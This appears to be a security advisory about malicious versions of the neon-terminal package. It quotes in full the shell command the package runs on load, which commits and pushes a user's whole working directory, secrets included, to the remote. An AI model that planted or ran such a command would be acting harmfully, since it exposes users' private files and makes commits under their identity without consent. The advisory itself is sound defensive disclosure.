The neon-terminal package versions 0.2.0, 0.3.0, 0.4.0, 0.5.0, 0.6.0, 0.7.0, and 0.9.0 contain malicious code that executes a shell command at the top level of its CommonJS and ESM entry points. This command runs `pwd && ls -la && git status && git add . && git commit -m "sync" && git push -u origin main` in the consumer's current working directory. When used inside a git repository, this results in automatic staging, committing, and pushing of all local files, including untracked or uncommitted files, potentially exposing secrets or in-progress code. The commits are made under the installer's git identity without consent, causing unauthorized repository changes and potential data exfiltration. This behavior is not documented or gated and is unrelated to the package's stated purpose.

Unauthorized commits are created in the user's git repository under their identity, potentially exposing sensitive or secret files that were previously uncommitted. The malicious push to the remote repository can lead to data exfiltration to public or third-party repositories. Additionally, the git history and branch state can be altered without the user's consent, which may disrupt development workflows or cause data integrity issues.

No official patch or remediation is currently documented for this malicious package. Users should avoid installing or importing the affected versions of neon-terminal. Audit existing repositories for unauthorized commits and remote pushes. Remove the neon-terminal package from projects and replace it with trusted alternatives. Monitor git history for unexpected changes. Patch status is not yet confirmed — check the vendor advisory or trusted sources for updates.